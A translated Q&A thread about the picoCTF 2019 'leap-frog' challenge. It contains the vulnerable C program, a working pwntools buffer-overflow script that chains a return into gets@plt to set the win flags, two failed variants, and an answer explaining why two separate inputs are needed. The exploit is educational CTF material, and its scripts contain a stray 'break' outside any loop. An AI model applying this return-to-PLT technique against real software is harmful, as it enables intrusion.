0

我是二进制开发问题的新手。这个来自 picoctf 2019，leap-frog。我感兴趣的特定解决方案使用 vuln() 函数上的缓冲区溢出来强制执行返回到获取的 PLT 条目。这样做是因为 gets 允许我们写入内存中的任意位置（参见链接）。我们有兴趣写信给win1、win2和win3。如果我们可以将这些设置为真，那么我们可以打印标志！所以，我们只需要利用该程序就是buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables.

资源

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

以下脚本在 CTF 的 shell 中运行时打印标志

解决方案脚本

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload)
    p.sendline('\x01\x01\x01\x00')  # sets win1, win2, win3 to true via gets reading from stdin
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

以下脚本不起作用，但程序之间的唯一区别是这个程序合并了sendline()调用。我猜这是因为程序还没有到达 get 的调用，所以它还没有准备好从标准输入输入。

失败的解决方案 1

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload+'\x01\x01\x01\x00')
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

失败的解决方案 2

然后，我尝试在不附加'\x01\x01\x01\x00\'到 的情况下运行程序payload，希望执行会命中 get 并等待 stdin 输入；但是，我却遇到了段错误。我对这两个失败的解决方案的逻辑有什么问题？谢谢！

4

1 回答 1

3

您需要两个不同的有效负载，因为对gets(). sendline()将换行符附加到您的输入/有效负载 [ 1 ]，并gets()读取输入，直到读取换行符 [ 2 ]。所以，一个sendline()只喂一个gets()。

为什么有两个电话gets()？好吧，第一次调用发生gets()在vuln()函数中，目的是改变执行流程。如果您运行该程序，则gets()要求用户输入并将其存储在buf[16]堆栈中。而且因为gets()不检查缓冲区溢出 [ 2 ]，您实际上可以通过插入大于 16 字节的输入来破坏堆栈。因此，第一个sendline()将有效负载('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d)提供给第一个调用。这会破坏堆栈并改变执行流程。0x08048430有效载荷中的第一个地址（的地址gets@plt）操纵第一个的返回地址gets()。因此，当第一个gets()完成执行时，它会跳转到第二个gets()。这是gets()第二次调用。第二个地址0x80486b3（address of display_flag()）是第二个的返回地址gets()。所以当第二个电话离开时，它跳到display_flag(). 第三个地址0x0804a03d（win1变量的地址）是第二个的缓冲区gets()。因此，第二个gets()期望来自用户的另一个输入/有效负载并将其写入win1. 第二个输入由第二个提供sendline()。

您的第一个解决方案失败了，因为您只提供第一个gets()呼叫，所以第二个gets()呼叫根本没有输入。由于同样的原因，您的第二个解决方案失败了。

于 2020-03-29T15:37:36.587 回答